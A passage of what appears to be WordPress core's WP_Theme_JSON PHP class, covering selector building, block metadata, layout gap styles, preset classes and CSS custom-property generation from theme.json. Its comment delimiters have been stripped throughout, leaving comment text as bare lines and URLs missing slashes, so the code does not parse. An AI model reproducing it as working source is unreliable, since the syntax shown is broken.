$result = static::remove_keys_not_in_schema( $input[ $subtree ], $schema[ $subtree ] );
if ( empty( $result ) ) {
unset( $output[ $subtree ] );
} else {
$output[ $subtree ] = $result;
}
}
return $output;
}
*
* Appends a sub-selector to an existing one.
*
* Given the compounded $selector "h1, h2, h3"
* and the $to_append selector ".some-class" the result will be
* "h1.some-class, h2.some-class, h3.some-class".
*
* @since 5.8.0
* @since 6.1.0 Added append position.
*
* @param string $selector Original selector.
* @param string $to_append Selector to append.
* @param string $position A position sub-selector should be appended. Default 'right'.
* @return string The new selector.
protected static function append_to_selector( $selector, $to_append, $position = 'right' ) {
$new_selectors = array();
$selectors = explode( ',', $selector );
foreach ( $selectors as $sel ) {
$new_selectors[] = 'right' === $position ? $sel . $to_append : $to_append . $sel;
}
return implode( ',', $new_selectors );
}
*
* Returns the metadata for each block.
*
* Example:
*
* {
* 'core/paragraph': {
* 'selector': 'p',
* 'elements': {
* 'link' => 'link selector',
* 'etc' => 'element selector'
* }
* },
* 'core/heading': {
* 'selector': 'h1',
* 'elements': {}
* },
* 'core/image': {
* 'selector': '.wp-block-image',
* 'duotone': 'img',
* 'elements': {}
* }
* }
*
* @since 5.8.0
* @since 5.9.0 Added `duotone` key with CSS selector.
* @since 6.1.0 Added `features` key with block support feature level selectors.
*
* @return array Block metadata.
protected static function get_blocks_metadata() {
$registry = WP_Block_Type_Registry::get_instance();
$blocks = $registry->get_all_registered();
Is there metadata for all currently registered blocks?
$blocks = array_diff_key( $blocks, static::$blocks_metadata );
if ( empty( $blocks ) ) {
return static::$blocks_metadata;
}
foreach ( $blocks as $block_name => $block_type ) {
if (
isset( $block_type->supports['__experimentalSelector'] ) &&
is_string( $block_type->supports['__experimentalSelector'] )
) {
static::$blocks_metadata[ $block_name ]['selector'] = $block_type->supports['__experimentalSelector'];
} else {
static::$blocks_metadata[ $block_name ]['selector'] = '.wp-block-' . str_replace( '/', '-', str_replace( 'core/', '', $block_name ) );
}
if (
isset( $block_type->supports['color']['__experimentalDuotone'] ) &&
is_string( $block_type->supports['color']['__experimentalDuotone'] )
) {
static::$blocks_metadata[ $block_name ]['duotone'] = $block_type->supports['color']['__experimentalDuotone'];
}
Generate block support feature level selectors if opted into
for the current block.
$features = array();
foreach ( static::BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS as $key => $feature ) {
if (
isset( $block_type->supports[ $key ]['__experimentalSelector'] ) &&
$block_type->supports[ $key ]['__experimentalSelector']
) {
$features[ $feature ] = static::scope_selector(
static::$blocks_metadata[ $block_name ]['selector'],
$block_type->supports[ $key ]['__experimentalSelector']
);
}
}
if ( ! empty( $features ) ) {
static::$blocks_metadata[ $block_name ]['features'] = $features;
}
Assign defaults, then overwrite those that the block sets by itself.
If the block selector is compounded, will append the element to each
individual block selector.
$block_selectors = explode( ',', static::$blocks_metadata[ $block_name ]['selector'] );
foreach ( static::ELEMENTS as $el_name => $el_selector ) {
$element_selector = array();
foreach ( $block_selectors as $selector ) {
if ( $selector === $el_selector ) {
$element_selector = array( $el_selector );
break;
}
$element_selector[] = static::append_to_selector( $el_selector, $selector . ' ', 'left' );
}
static::$blocks_metadata[ $block_name ]['elements'][ $el_name ] = implode( ',', $element_selector );
}
}
return static::$blocks_metadata;
}
*
* Given a tree, removes the keys that are not present in the schema.
*
* It is recursive and modifies the input in-place.
*
* @since 5.8.0
*
* @param array $tree Input to process.
* @param array $schema Schema to adhere to.
* @return array The modified $tree.
protected static function remove_keys_not_in_schema( $tree, $schema ) {
$tree = array_intersect_key( $tree, $schema );
foreach ( $schema as $key => $data ) {
if ( ! isset( $tree[ $key ] ) ) {
continue;
}
if ( is_array( $schema[ $key ] ) && is_array( $tree[ $key ] ) ) {
$tree[ $key ] = static::remove_keys_not_in_schema( $tree[ $key ], $schema[ $key ] );
if ( empty( $tree[ $key ] ) ) {
unset( $tree[ $key ] );
}
} elseif ( is_array( $schema[ $key ] ) && ! is_array( $tree[ $key ] ) ) {
unset( $tree[ $key ] );
}
}
return $tree;
}
*
* Returns the existing settings for each block.
*
* Example:
*
* {
* 'root': {
* 'color': {
* 'custom': true
* }
* },
* 'core/paragraph': {
* 'spacing': {
* 'customPadding': true
* }
* }
* }
*
* @since 5.8.0
*
* @return array Settings per block.
public function get_settings() {
if ( ! isset( $this->theme_json['settings'] ) ) {
return array();
} else {
return $this->theme_json['settings'];
}
}
*
* Returns the stylesheet that results of processing
* the theme.json structure this object represents.
*
* @since 5.8.0
* @since 5.9.0 Removed the `$type` parameter`, added the `$types` and `$origins` parameters.
*
* @param array $types Types of styles to load. Will load all by default. It accepts:
* - `variables`: only the CSS Custom Properties for presets & custom ones.
* - `styles`: only the styles section in theme.json.
* - `presets`: only the classes for the presets.
* @param array $origins A list of origins to include. By default it includes VALID_ORIGINS.
* @return string The resulting stylesheet.
public function get_stylesheet( $types = array( 'variables', 'styles', 'presets' ), $origins = null ) {
if ( null === $origins ) {
$origins = static::VALID_ORIGINS;
}
if ( is_string( $types ) ) {
Dispatch error and map old arguments to new ones.
_deprecated_argument( __FUNCTION__, '5.9.0' );
if ( 'block_styles' === $types ) {
$types = array( 'styles', 'presets' );
} elseif ( 'css_variables' === $types ) {
$types = array( 'variables' );
} else {
$types = array( 'variables', 'styles', 'presets' );
}
}
$blocks_metadata = static::get_blocks_metadata();
$style_nodes = static::get_style_nodes( $this->theme_json, $blocks_metadata );
$setting_nodes = static::get_setting_nodes( $this->theme_json, $blocks_metadata );
$stylesheet = '';
if ( in_array( 'variables', $types, true ) ) {
$stylesheet .= $this->get_css_variables( $setting_nodes, $origins );
}
if ( in_array( 'styles', $types, true ) ) {
$root_block_key = array_search( static::ROOT_BLOCK_SELECTOR, array_column( $style_nodes, 'selector' ), true );
if ( false !== $root_block_key ) {
$stylesheet .= $this->get_root_layout_rules( static::ROOT_BLOCK_SELECTOR, $style_nodes[ $root_block_key ] );
}
$stylesheet .= $this->get_block_classes( $style_nodes );
} elseif ( in_array( 'base-layout-styles', $types, true ) ) {
Base layout styles are provided as part of `styles`, so only output separately if explicitly requested.
For backwards compatibility, the Columns block is explicitly included, to support a different default gap value.
$base_styles_nodes = array(
array(
'path' => array( 'styles' ),
'selector' => static::ROOT_BLOCK_SELECTOR,
),
array(
'path' => array( 'styles', 'blocks', 'core/columns' ),
'selector' => '.wp-block-columns',
'name' => 'core/columns',
),
);
foreach ( $base_styles_nodes as $base_style_node ) {
$stylesheet .= $this->get_layout_styles( $base_style_node );
}
}
if ( in_array( 'presets', $types, true ) ) {
$stylesheet .= $this->get_preset_classes( $setting_nodes, $origins );
}
return $stylesheet;
}
*
* Returns the page templates of the active theme.
*
* @since 5.9.0
*
* @return array
public function get_custom_templates() {
$custom_templates = array();
if ( ! isset( $this->theme_json['customTemplates'] ) || ! is_array( $this->theme_json['customTemplates'] ) ) {
return $custom_templates;
}
foreach ( $this->theme_json['customTemplates'] as $item ) {
if ( isset( $item['name'] ) ) {
$custom_templates[ $item['name'] ] = array(
'title' => isset( $item['title'] ) ? $item['title'] : '',
'postTypes' => isset( $item['postTypes'] ) ? $item['postTypes'] : array( 'page' ),
);
}
}
return $custom_templates;
}
*
* Returns the template part data of active theme.
*
* @since 5.9.0
*
* @return array
public function get_template_parts() {
$template_parts = array();
if ( ! isset( $this->theme_json['templateParts'] ) || ! is_array( $this->theme_json['templateParts'] ) ) {
return $template_parts;
}
foreach ( $this->theme_json['templateParts'] as $item ) {
if ( isset( $item['name'] ) ) {
$template_parts[ $item['name'] ] = array(
'title' => isset( $item['title'] ) ? $item['title'] : '',
'area' => isset( $item['area'] ) ? $item['area'] : '',
);
}
}
return $template_parts;
}
*
* Converts each style section into a list of rulesets
* containing the block styles to be appended to the stylesheet.
*
* See glossary at https:developer.mozilla.org/en-US/docs/Web/CSS/Syntax
*
* For each section this creates a new ruleset such as:
*
* block-selector {
* style-property-one: value;
* }
*
* @since 5.8.0 As `get_block_styles()`.
* @since 5.9.0 Renamed from `get_block_styles()` to `get_block_classes()`
* and no longer returns preset classes.
* Removed the `$setting_nodes` parameter.
* @since 6.1.0 Moved most internal logic to `get_styles_for_block()`.
*
* @param array $style_nodes Nodes with styles.
* @return string The new stylesheet.
protected function get_block_classes( $style_nodes ) {
$block_rules = '';
foreach ( $style_nodes as $metadata ) {
if ( null === $metadata['selector'] ) {
continue;
}
$block_rules .= static::get_styles_for_block( $metadata );
}
return $block_rules;
}
*
* Gets the CSS layout rules for a particular block from theme.json layout definitions.
*
* @since 6.1.0
*
* @param array $block_metadata Metadata about the block to get styles for.
* @return string Layout styles for the block.
protected function get_layout_styles( $block_metadata ) {
$block_rules = '';
$block_type = null;
Skip outputting layout styles if explicitly disabled.
if ( current_theme_supports( 'disable-layout-styles' ) ) {
return $block_rules;
}
if ( isset( $block_metadata['name'] ) ) {
$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block_metadata['name'] );
if ( ! block_has_support( $block_type, array( '__experimentalLayout' ), false ) ) {
return $block_rules;
}
}
$selector = isset( $block_metadata['selector'] ) ? $block_metadata['selector'] : '';
$has_block_gap_support = _wp_array_get( $this->theme_json, array( 'settings', 'spacing', 'blockGap' ) ) !== null;
$has_fallback_gap_support = ! $has_block_gap_support; This setting isn't useful yet: it exists as a placeholder for a future explicit fallback gap styles support.
$node = _wp_array_get( $this->theme_json, $block_metadata['path'], array() );
$layout_definitions = _wp_array_get( $this->theme_json, array( 'settings', 'layout', 'definitions' ), array() );
$layout_selector_pattern = '/^[a-zA-Z0-9\-\.\ *+>:\(\)]*$/'; Allow alphanumeric classnames, spaces, wildcard, sibling, child combinator and pseudo class selectors.
Gap styles will only be output if the theme has block gap support, or supports a fallback gap.
Default layout gap styles will be skipped for themes that do not explicitly opt-in to blockGap with a `true` or `false` value.
if ( $has_block_gap_support || $has_fallback_gap_support ) {
$block_gap_value = null;
Use a fallback gap value if block gap support is not available.
if ( ! $has_block_gap_support ) {
$block_gap_value = static::ROOT_BLOCK_SELECTOR === $selector ? '0.5em' : null;
if ( ! empty( $block_type ) ) {
$block_gap_value = _wp_array_get( $block_type->supports, array( 'spacing', 'blockGap', '__experimentalDefault' ), null );
}
} else {
$block_gap_value = static::get_property_value( $node, array( 'spacing', 'blockGap' ) );
}
Support split row / column values and concatenate to a shorthand value.
if ( is_array( $block_gap_value ) ) {
if ( isset( $block_gap_value['top'] ) && isset( $block_gap_value['left'] ) ) {
$gap_row = static::get_property_value( $node, array( 'spacing', 'blockGap', 'top' ) );
$gap_column = static::get_property_value( $node, array( 'spacing', 'blockGap', 'left' ) );
$block_gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column;
} else {
Skip outputting gap value if not all sides are provided.
$block_gap_value = null;
}
}
If the block should have custom gap, add the gap styles.
if ( null !== $block_gap_value && false !== $block_gap_value && '' !== $block_gap_value ) {
foreach ( $layout_definitions as $layout_definition_key => $layout_definition ) {
Allow outputting fallback gap styles for flex layout type when block gap support isn't available.
if ( ! $has_block_gap_support && 'flex' !== $layout_definition_key ) {
continue;
}
$class_name = sanitize_title( _wp_array_get( $layout_definition, array( 'className' ), false ) );
$spacing_rules = _wp_array_get( $layout_definition, array( 'spacingStyles' ), array() );
if (
! empty( $class_name ) &&
! empty( $spacing_rules )
) {
foreach ( $spacing_rules as $spacing_rule ) {
$declarations = array();
if (
isset( $spacing_rule['selector'] ) &&
preg_match( $layout_selector_pattern, $spacing_rule['selector'] ) &&
! empty( $spacing_rule['rules'] )
) {
Iterate over each of the styling rules and substitute non-string values such as `null` with the real `blockGap` value.
foreach ( $spacing_rule['rules'] as $css_property => $css_value ) {
$current_css_value = is_string( $css_value ) ? $css_value : $block_gap_value;
if ( static::is_safe_css_declaration( $css_property, $current_css_value ) ) {
$declarations[] = array(
'name' => $css_property,
'value' => $current_css_value,
);
}
}
if ( ! $has_block_gap_support ) {
For fallback gap styles, use lower specificity, to ensure styles do not unintentionally override theme styles.
$format = static::ROOT_BLOCK_SELECTOR === $selector ? ':where(.%2$s%3$s)' : ':where(%1$s.%2$s%3$s)';
$layout_selector = sprintf(
$format,
$selector,
$class_name,
$spacing_rule['selector']
);
} else {
$format = static::ROOT_BLOCK_SELECTOR === $selector ? '%s .%s%s' : '%s.%s%s';
$layout_selector = sprintf(
$format,
$selector,
$class_name,
$spacing_rule['selector']
);
}
$block_rules .= static::to_ruleset( $layout_selector, $declarations );
}
}
}
}
}
}
Output base styles.
if (
static::ROOT_BLOCK_SELECTOR === $selector
) {
$valid_display_modes = array( 'block', 'flex', 'grid' );
foreach ( $layout_definitions as $layout_definition ) {
$class_name = sanitize_title( _wp_array_get( $layout_definition, array( 'className' ), false ) );
$base_style_rules = _wp_array_get( $layout_definition, array( 'baseStyles' ), array() );
if (
! empty( $class_name ) &&
! empty( $base_style_rules )
) {
Output display mode. This requires special handling as `display` is not exposed in `safe_style_css_filter`.
if (
! empty( $layout_definition['displayMode'] ) &&
is_string( $layout_definition['displayMode'] ) &&
in_array( $layout_definition['displayMode'], $valid_display_modes, true )
) {
$layout_selector = sprintf(
'%s .%s',
$selector,
$class_name
);
$block_rules .= static::to_ruleset(
$layout_selector,
array(
array(
'name' => 'display',
'value' => $layout_definition['displayMode'],
),
)
);
}
foreach ( $base_style_rules as $base_style_rule ) {
$declarations = array();
if (
isset( $base_style_rule['selector'] ) &&
preg_match( $layout_selector_pattern, $base_style_rule['selector'] ) &&
! empty( $base_style_rule['rules'] )
) {
foreach ( $base_style_rule['rules'] as $css_property => $css_value ) {
if ( static::is_safe_css_declaration( $css_property, $css_value ) ) {
$declarations[] = array(
'name' => $css_property,
'value' => $css_value,
);
}
}
$layout_selector = sprintf(
'%s .%s%s',
$selector,
$class_name,
$base_style_rule['selector']
);
$block_rules .= static::to_ruleset( $layout_selector, $declarations );
}
}
}
}
}
return $block_rules;
}
*
* Creates new rulesets as classes for each preset value such as:
*
* .has-value-color {
* color: value;
* }
*
* .has-value-background-color {
* background-color: value;
* }
*
* .has-value-font-size {
* font-size: value;
* }
*
* .has-value-gradient-background {
* background: value;
* }
*
* p.has-value-gradient-background {
* background: value;
* }
*
* @since 5.9.0
*
* @param array $setting_nodes Nodes with settings.
* @param array $origins List of origins to process presets from.
* @return string The new stylesheet.
protected function get_preset_classes( $setting_nodes, $origins ) {
$preset_rules = '';
foreach ( $setting_nodes as $metadata ) {
if ( null === $metadata['selector'] ) {
continue;
}
$selector = $metadata['selector'];
$node = _wp_array_get( $this->theme_json, $metadata['path'], array() );
$preset_rules .= static::compute_preset_classes( $node, $selector, $origins );
}
return $preset_rules;
}
*
* Converts each styles section into a list of rulesets
* to be appended to the stylesheet.
* These rulesets contain all the css variables (custom variables and preset variables).
*
* See glossary at https:developer.mozilla.org/en-US/docs/Web/CSS/Syntax
*
* For each section this creates a new ruleset such as:
*
* block-selector {
* --wp--preset--category--slug: value;
* --wp--custom--variable: value;
* }
*
* @since 5.8.0
* @since 5.9.0 Added the `$origins` parameter.
*
* @param array $nodes Nodes with settings.
* @param array $origins List of origins to process.
* @return string The new stylesheet.
protected function get_css_variables( $nodes, $origins ) {
$stylesheet = '';
foreach ( $nodes as $metadata ) {
if ( null === $metadata['selector'] ) {
continue;
}
$selector = $metadata['selector'];
$node = _wp_array_get( $this->theme_json, $metadata['path'], array() );
$declarations = static::compute_preset_vars( $node, $origins );
$theme_vars_declarations = static::compute_theme_vars( $node );
foreach ( $theme_vars_declarations as $theme_vars_declaration ) {
$declarations[] = $theme_vars_declaration;
}
$stylesheet .= static::to_ruleset( $selector, $declarations );
}
return $stylesheet;
}
*
* Given a selector and a declaration list,
* creates the corresponding ruleset.
*
* @since 5.8.0
*
* @param string $selector CSS selector.
* @param array $declarations List of declarations.
* @return string The resulting CSS ruleset.
protected static function to_ruleset( $selector, $declarations ) {
if ( empty( $declarations ) ) {
return '';
}
$declaration_block = array_reduce(
$declarations,
static function ( $carry, $element ) {
return $carry .= $element['name'] . ': ' . $element['value'] . ';'; },
''
);
return $selector . '{' . $declaration_block . '}';
}
*
* Given a settings array, returns the generated rulesets
* for the preset classes.
*
* @since 5.8.0
* @since 5.9.0 Added the `$origins` parameter.
*
* @param array $settings Settings to process.
* @param string $selector Selector wrapping the classes.
* @param array $origins List of origins to process.
* @return string The result of processing the presets.
protected static function compute_preset_classes( $settings, $selector, $origins ) {
if ( static::ROOT_BLOCK_SELECTOR === $selector ) {
Classes at the global level do not need any CSS prefixed,
and we don't want to increase its specificity.
$selector = '';
}
$stylesheet = '';
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
$slugs = static::get_settings_slugs( $settings, $preset_metadata, $origins );
foreach ( $preset_metadata['classes'] as $class => $property ) {
foreach ( $slugs as $slug ) {
$css_var = static::replace_slug_in_string( $preset_metadata['css_vars'], $slug );
$class_name = static::replace_slug_in_string( $class, $slug );
$stylesheet .= static::to_ruleset(
static::append_to_selector( $selector, $class_name ),
array(
array(
'name' => $property,
'value' => 'var(' . $css_var . ') !important',
),
)
);
}
}
}
return $stylesheet;
}
*
* Function that scopes a selector with another one. This works a bit like
* SCSS nesting except the `&` operator isn't supported.
*
* <code>
* $scope = '.a, .b .c';
* $selector = '> .x, .y';
* $merged = scope_selector( $scope, $selector );
* $merged is '.a > .x, .a .y, .b .c > .x, .b .c .y'
* </code>
*
* @since 5.9.0
*
* @param string $scope Selector to scope to.
* @param string $selector Original selector.
* @return string Scoped selector.
protected static function scope_selector( $scope, $selector ) {
$scopes = explode( ',', $scope );
$selectors = explode( ',', $selector );
$selectors_scoped = array();
foreach ( $scopes as $outer ) {
foreach ( $selectors as $inner ) {
$selectors_scoped[] = trim( $outer ) . ' ' . trim( $inner );
}
}
return implode( ', ', $selectors_scoped );
}
*
* Gets preset values keyed by slugs based on settings and metadata.
*
* <code>
* $settings = array(
* 'typography' => array(
* 'fontFamilies' => array(
* array(
* 'slug' => 'sansSerif',
* 'fontFamily' => '"Helvetica Neue", sans-serif',
* ),
* array(
* 'slug' => 'serif',
* 'colors' => 'Georgia, serif',
* )
* ),
* ),
* );
* $meta = array(
* 'path' => array( 'typography', 'fontFamilies' ),
* 'value_key' => 'fontFamily',
* );
* $values_by_slug = get_settings_values_by_slug();
* $values_by_slug === array(
* 'sans-serif' => '"Helvetica Neue", sans-serif',
* 'serif' => 'Georgia, serif',
* );
* </code>
*
* @since 5.9.0
*
* @param array $settings Settings to process.
* @param array $preset_metadata One of the PRESETS_METADATA values.
* @param array $origins List of origins to process.
* @return array Array of presets where each key is a slug and each value is the preset value.
protected static function get_settings_values_by_slug( $settings, $preset_metadata, $origins ) {
$preset_per_origin = _wp_array_get( $settings, $preset_metadata['path'], array() );
$result = array();
foreach ( $origins as $origin ) {
if ( ! isset( $preset_per_origin[ $origin ] ) ) {
continue;
}
foreach ( $preset_per_origin[ $origin ] as $preset ) {
$slug = _wp_to_kebab_case( $preset['slug'] );
$value = '';
if ( isset( $preset_metadata['value_key'], $preset[ $preset_metadata['value_key'] ] ) ) {
$value_key = $preset_metadata['value_key'];
$value = $preset[ $value_key ];
} elseif (
isset( $preset_metadata['value_func'] ) &&
is_callable( $preset_metadata['value_func'] )
) {
$value_func = $preset_metadata['value_func'];
$value = call_user_func( $value_func, $preset );
} else {
If we don't have a value, then don't add it to the result.
continue;
}
$result[ $slug ] = $value;
}
}
return $result;
}
*
* Similar to get_settings_values_by_slug, but doesn't compute the value.
*
* @since 5.9.0
*
* @param array $settings Settings to process.
* @param array $preset_metadata One of the PRESETS_METADATA values.
* @param array $origins List of origins to process.
* @return array Array of presets where the key and value are both the slug.
protected static function get_settings_slugs( $settings, $preset_metadata, $origins = null ) {
if ( null === $origins ) {
$origins = static::VALID_ORIGINS;
}
$preset_per_origin = _wp_array_get( $settings, $preset_metadata['path'], array() );
$result = array();
foreach ( $origins as $origin ) {
if ( ! isset( $preset_per_origin[ $origin ] ) ) {
continue;
}
foreach ( $preset_per_origin[ $origin ] as $preset ) {
$slug = _wp_to_kebab_case( $preset['slug'] );
Use the array as a set so we don't get duplicates.
$result[ $slug ] = $slug;
}
}
return $result;
}
*
* Transforms a slug into a CSS Custom Property.
*
* @since 5.9.0
*
* @param string $input String to replace.
* @param string $slug The slug value to use to generate the custom property.
* @return string The CSS Custom Property. Something along the lines of `--wp--preset--color--black`.
protected static function replace_slug_in_string( $input, $slug ) {
return strtr( $input, array( '$slug' => $slug ) );
}
*
* Given the block settings, extracts the CSS Custom Properties
* for the presets and adds them to the $declarations array
* following the format:
*
* array(
* 'name' => 'property_name',
* 'value' => 'property_value,
* )
*
* @since 5.8.0
* @since 5.9.0 Added the `$origins` parameter.
*
* @param array $settings Settings to process.
* @param array $origins List of origins to process.
* @return array The modified $declarations.
protected static function compute_preset_vars( $settings, $origins ) {
$declarations = array();
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
$values_by_slug = static::get_settings_values_by_slug( $settings, $preset_metadata, $origins );
foreach ( $values_by_slug as $slug => $value ) {
$declarations[] = array(
'name' => static::replace_slug_in_string( $preset_metadata['css_vars'], $slug ),
'value' => $value,
);
}
}
return $declarations;
}
*
* Given an array of settings, extracts the CSS Custom Properties
* for the custom values and adds them to the $declarations
* array following the format:
*
* array(
* 'name' => 'property_name',
* 'value' => 'property_value,
* )
*
* @since 5.8.0
*
* @param array $settings Settings to process.
* @return array The modified $declarations.
protected static function compute_theme_vars( $settings ) {
$declarations = array();
$custom_values = _wp_array_get( $settings, array( 'custom' ), array() );
$css_vars = static::flatten_tree( $custom_values );
foreach ( $css_vars as $key => $value ) {
$declarations[] = array(
'name' => '--wp--custom--' . $key,
'value' => $value,
);
}
return $declarations;
}
*
* Given a tree, it creates a flattened one
* by merging the keys and binding the leaf values
* to the new keys.
*
* It also transforms camelCase names into kebab-case
* and substitutes '/' by '-'.
*
* This is thought to be useful to generate
* CSS Custom Properties from a tree,
* although there's nothing in the implementation
* of this function that requires that format.
*
* For example, assuming the given prefix is '--wp'
* and the token is '--', for this input tree:
*
* {
* 'some/property': 'value',
* 'nestedProperty': {
* 'sub-property': 'value'
* }
* }
*
* it'll return this output:
*
* {
* '--wp--some-property': 'value',
* '--wp--nested-property--sub-property': 'value'
* }
*
* @since 5.8.0
*
* @param array $tree Input tree to process.
* @param string $prefix Optional. Prefix to prepend to each variable. Default empty string.
* @param string $token Optional. Token to use between levels. Default '--'.
* @return array The flattened tree.
protected static function flatten_tree( $tree, $prefix = '', $token = '--' ) {
$result = array();
foreach ( $tree as $property => $value ) {
$new_key = $prefix . str_replace(
'/',
'-',
strtolower( _wp_to_kebab_case( $property ) )
);
if ( is_array( $value ) ) {
$new_prefix = $new_key . $token;
$flattened_subtree = static::flatten_tree( $value, $new_prefix, $token );
foreach ( $flattened_subtree as $subtree_key => $subtree_value ) {
$result[ $subtree_key ] = $subtree_value;
}
} else {
$result[ $new_key ] = $value;
}
}
return $result;
}
*
* Given a styles array, it extracts the style properties
* and adds them to the $declarations array following the format:
*
* array(
* 'name' => 'property_name',
* 'value' => 'property_value,
* )
*
* @since 5.8.0
* @since 5.9.0 Added the `$settings` and `$properties` parameters.
* @since 6.1.0 Added `$theme_json`, `$selector`, and `$use_root_padding` parameters.
*
* @param array $styles Styles to process.
* @param array $settings Theme settings.
* @param array $properties Properties metadata.
* @param array $theme_json Theme JSON array.
* @param string $selector The style block selector.
* @param boolean $use_root_padding Whether to add custom properties at root level.
* @return array Returns the modified $declarations.
protected static function compute_style_properties( $styles, $settings = array(), $properties = null, $theme_json = null, $selector = null, $use_root_padding = null ) {
if ( null === $properties ) {
$properties = static::PROPERTIES_METADATA;
}
$declarations = array();
if ( empty( $styles ) ) {
return $declarations;
}
$root_variable_duplicates = array();
foreach ( $properties as $css_property => $value_path ) {
$value = static::get_property_value( $styles, $value_path, $theme_json );
if ( str_starts_with( $css_property, '--wp--style--root--' ) && ( static::ROOT_BLOCK_SELECTOR !== $selector || ! $use_root_padding ) ) {
continue;
}
Root-level padding styles don't currently support strings with CSS shorthand values.
This may change: https:github.com/WordPress/gutenberg/issues/40132.
if ( '--wp--style--root--padding' === $css_property && is_string( $value ) ) {
continue;
}
if ( str_starts_with( $css_property, '--wp--style--root--' ) && $use_root_padding ) {
$root_variable_duplicates[] = substr( $css_property, strlen( '--wp--style--root--' ) );
}
Look up protected properties, keyed by value path.
Skip protected properties that are explicitly set to `null`.
if ( is_array( $value_path ) ) {
$path_string = implode( '.', $value_path );
if (
TODO: Replace array_key_exists() with isset() check once WordPress drops
support for PHP 5.6. See https:core.trac.wordpress.org/ticket/57067.
array_key_exists( $path_string, static::PROTECTED_PROPERTIES ) &&
_wp_array_get( $settings, static::PROTECTED_PROPERTIES[ $path_string ], null ) === null
) {
continue;
}
}
Skip if empty and not "0" or value represents array of longhand values.
$has_missing_value = empty( $value ) && ! is_numeric( $value );
if ( $has_missing_value || is_array( $value ) ) {
continue;
}
Calculates fluid typography rules where available.
if ( 'font-size' === $css_property ) {
* wp_get_typography_font_size_value() will check
* if fluid typography has been activated and also
* whether the incoming value can be converted to a fluid value.
* Values that already have a clamp() function will not pass the test,
* and therefore the original $value will be returned.
$value = wp_get_typography_font_size_value( array( 'size' => $value ) );
}
$declarations[] = array(
'name' => $css_property,
'value' => $value,
);
}
If a variable value is added to the root, the corresponding property should be removed.
foreach ( $root_variable_duplicates as $duplicate ) {
$discard = array_search( $duplicate, array_column( $declarations, 'name' ), true );
if ( is_numeric( $discard ) ) {
array_splice( $declarations, $discard, 1 );
}
}
return $declarations;
}
*
* Returns the style property for the given path.
*
* It also converts CSS Custom Property stored as
* "var:preset|color|secondary" to the form
* "--wp--preset--color--secondary".
*
* It also converts references to a path to the value
* stored at that location, e.g.
* { "ref": "style.color.background" } => "#fff".
*
* @since 5.8.0
* @since 5.9.0 Added support for values of array type, which are returned as is.
* @since 6.1.0 Added the `$theme_json` parameter.
*
* @param array $styles Styles subtree.
* @param array $path Which property to process.
* @param array $theme_json Theme JSON array.
* @return string|array Style property value.
protected static function get_property_value( $styles, $path, $theme_json = null ) {
$value = _wp_array_get( $styles, $path, '' );
if ( '' === $value || null === $value ) {
No need to process the value further.
return '';
}
* This converts references to a path to the value at that path
* where the values is an array with a "ref" key, pointing to a path.
* For example: { "ref": "style.color.background" } => "#fff".
if ( is_array( $value ) && isset( $value['ref'] ) ) {
$value_path = explode( '.', $value['ref'] );
$ref_value = _wp_array_get( $theme_json, $value_path );
Only use the ref value if we find anything.
if ( ! empty( $ref_value ) && is_string( $ref_value ) ) {
$value = $ref_value;
}
if ( is_array( $ref_value ) && isset( $ref_value['ref'] ) ) {
$path_string = json_encode( $path );
$ref_value_string = json_encode( $ref_value );
_doing_it_wrong(
'get_property_value',
sprintf(
translators: 1: theme.json, 2: Value name, 3: Value path, 4: Another value name.
__( 'Your %1$s file uses a dynamic value (%2$s) for the path at %3$s. However, the value at %3$s is also a dynamic value (pointing to %4$s) and pointing to another dynamic value is not supported. Please update %3$s to point directly to %4$s.' ),
'theme.json',
$ref_value_string,
$path_string,
$ref_value['ref']
),
'6.1.0'
);
}
}
if ( is_array( $value ) ) {
return $value;
}
Convert custom CSS properties.
$prefix = 'var:';
$prefix_len = strlen( $prefix );
$token_in = '|';
$token_out = '--';
if ( 0 === strncmp( $value, $prefix, $prefix_len ) ) {
$unwrapped_name = str_replace(
$token_in,
$token_out,
substr( $value, $prefix_len )
);
$value = "var(--wp--$unwrapped_name)";
}
return $value;
}
*
* Builds metadata for the setting nodes, which returns in the form of:
*
* [
* [
* 'path' => ['path', 'to', 'some', 'node' ],
* 'selector' => 'CSS selector for some node'
* ],
* [
* 'path' => [ 'path', 'to', 'other', 'node' ],
* 'selector' => 'CSS selector for other node'
* ],
* ]
*
* @since 5.8.0
*
* @param array $theme_json The tree to extract setting nodes from.
* @param array $selectors List of selectors per block.
* @return array An array of setting nodes metadata.
protected static function get_setting_nodes( $theme_json, $selectors = array() ) {
$nodes = array();
if ( ! isset( $theme_json['settings'] ) ) {
return $nodes;
}
Top-level.
$nodes[] = array(
'path' => array( 'settings' ),
'selector' => static::ROOT_BLOCK_SELECTOR,
);
Calculate paths for blocks.
if ( ! isset( $theme_json['settings']['blocks'] ) ) {
return $nodes;
}
foreach ( $theme_json['settings']['blocks'] as $name => $node ) {
$selector = null;
if ( isset( $selectors[ $name ]['selector'] ) ) {
$selector = $selectors[ $name ]['selector'];
}
$nodes[] = array(
'path' => array( 'settings', 'blocks', $name ),
'selector' => $selector,
);
}
return $nodes;
}
*
* Builds metadata for the style nodes, which returns in the form of:
*
* [
* [
* 'path' => [ 'path', 'to', 'some', 'node' ],
* 'selector' => 'CSS selector for some node',
* 'duotone' => 'CSS selector for duotone for some node'
* ],
* [
* 'path' => ['path', 'to', 'other', 'node' ],
* 'selector' => 'CSS selector for other node',
* 'duotone' => null
* ],
* ]
*
* @since 5.8.0
*
* @param array $theme_json The tree to extract style nodes from.
* @param array $selectors List of selectors per block.
* @return array An array of style nodes metadata.
protected static function get_style_nodes( $theme_json, $selectors = array() ) {
$nodes = array();
if ( ! isset( $theme_json['styles'] ) ) {
return $nodes;
}
Top-level.
$nodes[] = array(
'path' => array( 'styles' ),
'selector' => static::ROOT_BLOCK_SELECTOR,
);
if ( isset( $theme_json['styles']['elements'] ) ) {
foreach ( self::ELEMENTS as $element => $selector ) {
if ( ! isset( $theme_json['styles']['elements'][ $element ] ) ) {
continue;
}
$nodes[] = array(
'path' => array( 'styles', 'elements', $element ),
'selector' => static::ELEMENTS[ $element ],
);
Handle any pseudo selectors for the element.
TODO: Replace array_key_exists() with isset() check once WordPress drops
support for PHP 5.6. See https:core.trac.wordpress.org/ticket/57067.
if ( array_key_exists( $element, static::VALID_ELEMENT_PSEUDO_SELECTORS ) ) {
